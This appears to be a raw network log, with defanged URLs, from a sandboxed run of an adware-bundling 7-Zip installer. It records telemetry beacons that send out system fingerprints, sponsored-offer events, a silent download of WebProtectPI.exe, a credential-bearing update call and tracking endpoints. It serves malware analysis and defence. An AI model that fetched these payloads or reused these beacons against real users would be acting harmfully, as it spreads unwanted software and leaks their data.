hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430385923&procruntime=2&rnd=1430385925
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=2&rnd=1430385925
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=2&rnd=1430385925
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1430385926
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1430385926
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1430385926
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1430385926
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430385927
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430385927
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430385927
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430385927
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430385928
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430385931
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430385931
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430385931
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430385932
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430385932
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430385932
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430385932
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1430385933
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430385934
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1430385934
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_34&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=12&rnd=1430385935
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430385923&lifetime=0&silent=1&crtnm=na&procstarttime=1430385923&procruntime=12&rnd=1430385935
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 i31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o2uwjb78QzN9FYm5VRTy/qYKbHXQ3LZlHwdE4jBu2OwY8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qos7ozJ3T9gfn6pqgVuVy 5fXvfdY6g9CW/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLBe0PvZWP1HT3xQxMe6d/YXmZBdfxwiphL5XLptJ1YYB/8Mh/eDEz4I= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 i31fTgrR12XwN5lyRGN/ZhwIcLERiDa7oGT OLwKV823JQyItD8S5vDK0emj6kkzGQeFtx5 eqtFssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvt0xgtq2YEqI49BuL0n8vhSftUaxxCxaYQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== 198.232.124.192
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=13&rnd=1430385936
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 iqUVvKp9Lg9XHvdM54V2LCI4G r 3F6T7B28jN/IR4nVi6hMIdMwrqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== 198.232.124.192
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430385923&lifetime=0&silent=1&crtnm=na&procstarttime=1430385923&procruntime=13&rnd=1430385936
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=2v0SNuZrMFyw0RTUGALXSqjJfooaJy9 BRUQCr/0HY94E7mrr1h80pGhRXiiBAM3/pj4Ga9vJtW/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxs4w9Wm71Kk6mVvO2Kq2gv8U1nnW3RVow kpGM0HsBZ4L035I4OsxKZQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== 198.232.124.192
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.030386420728304442
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.2253&uid=267123711_198339_B48A115F&dp=0 208.43.69.149
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.878708690459731
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.0717698178406258
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430385970&SBPIDS=1 173.239.4.56
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.7302640051725993
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&display_height=195&0.4972198093695961
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&0.24392571885581815
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.522997821052618
hxxp://a1284.g.akamai.net/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?e27ae2b1edf5cffe
hxxp://hostedocsp.globalsign.com/root-r3.crl
hxxp://hostedocsp.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhJz1lhSyxS2RYZQVJ48M2bQ==
hxxp://hostedocsp.globalsign.com/root.crl
hxxp://hostedocsp.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhhrE10BUs2OqNBLZ9KgzPNA==
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= 178.255.83.1
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= 178.255.83.1
hxxp://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7 178.255.83.1
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/ThawtePremiumServerCA.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k=
hxxp://a1726.d.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=4&index_in_screen=1&index_in_session=4&0.9006253662360204
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.3673380151777771
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=6&utmn=722569010&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386013393&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://stat.webprotectionfree.com/pin.gif?e=download&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadsuc&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13 37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=start&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&adv=&v=5.1.0.45 37.58.109.2
hxxp://track.madagascardomain.com/pin.gif?e=updinst&s=9813&i={11DA3D55-09E3-4F9F-8E2D-EE9FD4CCF471}&overs=9813&overi={E7875669-BB28-462E-BE68-71C7238AA8F4}" 208.43.248.42
hxxp://stat.webprotectionfree.com/pin.gif?e=installer&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&adv=&v=5.1.0.45 37.58.109.2
hxxp://ocsp.godaddy.com.akadns.net//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ== 188.121.36.239
hxxp://ocsp.godaddy.com.akadns.net//MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= 188.121.36.239
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadend&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13&ec=0 37.58.109.2
hxxp://ocsp.godaddy.com.akadns.net//MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z 188.121.36.239
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.08809823590030197
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=7&utmn=1328920837&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386023281&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.6360942821490396
hxxp://lb.webovernet.com/settings?s=9813&ins=1430386023.214 173.45.105.114
hxxp://theswiftrecord.com/mg?alpha=RQ8nLCALR2R2FXdLCAYvREt0ISBFSSVdIzcVU245RS1mOFMXAjpeSkdJJlhyH2s/e19ECElbZyh9dHBAVgcdIVI9WDtjKxVUQzZrVi9y
hxxp://theswiftrecord.com/fp?alpha=VX0QKRUOcgFkAgkAPwMaVDlDJBVVIQZYVHJ8UTZJUmkdKVNXDBNbDyE/CSk3FGljexhID3orU1QJQnNxTSpvKBI7CldEZwYhcDoDcClrJAoWfBNlS0JlR10QKxMQawBQKVE9EQUHGVZ5UjoMMkcPbh19alQDfi9KSHtBdxUCazIkBUY4A3dGGSQAPER9bWAWB0VmBnEbU3BMRRUrAxZuFFElXDgXEAZFT39VLwsmVAhoBSo4RV8qPQUUdiEtXAV2NWFzXyoBbU1bfVl7GXw+djtzY3dEOh1OekVUFCMVEmkfAm8QMndZX0QAPBQveHoSXDVBKSs7R30iVE18Q08VFW01fW5JeFREF3AkADFIIHQUWhMSYR5lS0p/QkgSVhcQbABSLzpOZHQURiljXGsl
